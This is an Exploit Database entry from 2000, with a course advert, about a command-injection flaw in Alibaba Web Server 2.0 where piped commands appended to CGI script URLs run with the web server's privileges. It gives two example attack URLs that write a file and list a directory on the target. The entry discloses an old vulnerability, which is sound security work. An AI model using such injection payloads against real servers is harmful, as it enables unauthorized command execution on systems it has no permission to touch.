Computer Software Manufaktur Alibaba 2.0 - Piped Command

EDB-ID:

20085


Author:

Prizm

Type:

remote


Platform:

CGI

Date:

2000-07-18


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

source: https://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. 

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir]